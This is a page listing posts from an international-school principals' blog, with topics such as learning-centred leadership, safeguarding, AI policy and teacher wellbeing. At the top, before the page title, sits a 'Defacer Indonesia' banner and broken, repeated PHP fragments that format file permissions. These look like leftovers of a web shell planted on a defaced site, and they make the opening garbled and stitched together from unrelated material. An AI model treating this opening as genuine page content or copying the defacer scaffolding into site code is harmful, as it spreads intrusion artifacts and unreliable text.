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Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?> Principal’s Blog – Page 3 – Leading your international school

Principal's Blog

Learning Centered Leadership

by Dr Mari Simpson Building the Conditions for Students and Adults to Grow
 When we talk about learning-centered schools, the conversation often moves quickly to students. We speak about agency...

When the Leadership Playbook Doesn’t Work Anymore – Culturally Mediated Leadership (CML)

by Joshua Darryl Sussex There is a moment that most international school leaders recognise. You arrive in a new context, a new country, a new school, a new community, carrying approaches that worked...

Safeguarding is A Leadership Resonsibility

by Dr Ryan Persaud In international schools, safeguarding is often discussed through the lens of compliance: policies, background checks, annual training modules, and accreditation requirements. While...

Making Ourselves Available to the World – A Conversation with Nick Alchin

by André Double I sat down with Nick Alchin, Head of College at UWC South East Asia, recently, at his home in Singapore. He leads one of the world’s largest international schools of 6,000 students...

Leading Through Transition: Holding a Community Together in Times of Change

by Donnah Ciempka There are moments in every international school when the rhythm shifts—when classrooms empty, farewells are spoken, contracts conclude, and families quietly begin packing their lives...

The Loops That Shape Us

by David William Sheehan There is no blank slate in an Irish household. You inherit rooms before you inherit opinions. On my mother’s side, every house had the same object on the wall: my...

From Possibility to Practice: Leading AI with Clarity

by David Krupski By November 2025, our school’s AI policy already felt dated. I remember looking back at our school’s AI policy, a document we had taken seriously only months earlier, and realizing...

Beyond the Brochure: How HR and Principals Can Partner on Teacher Wellbeing

by Martina Meneghtti What keeps a school leader up at night? If teachers’ wellbeing is not at least in the top 5 answers, there may be a problem. Research suggests that stressful working environments...

Raising Resilient Kids in a Risk-Averse World

by Daniel Brown Back in my day, we learnt to bounce in the middle of the trampoline, as falling off hurt. Yes, today’s trampoline is much safer and results in fewer injuries, but the trouble is that...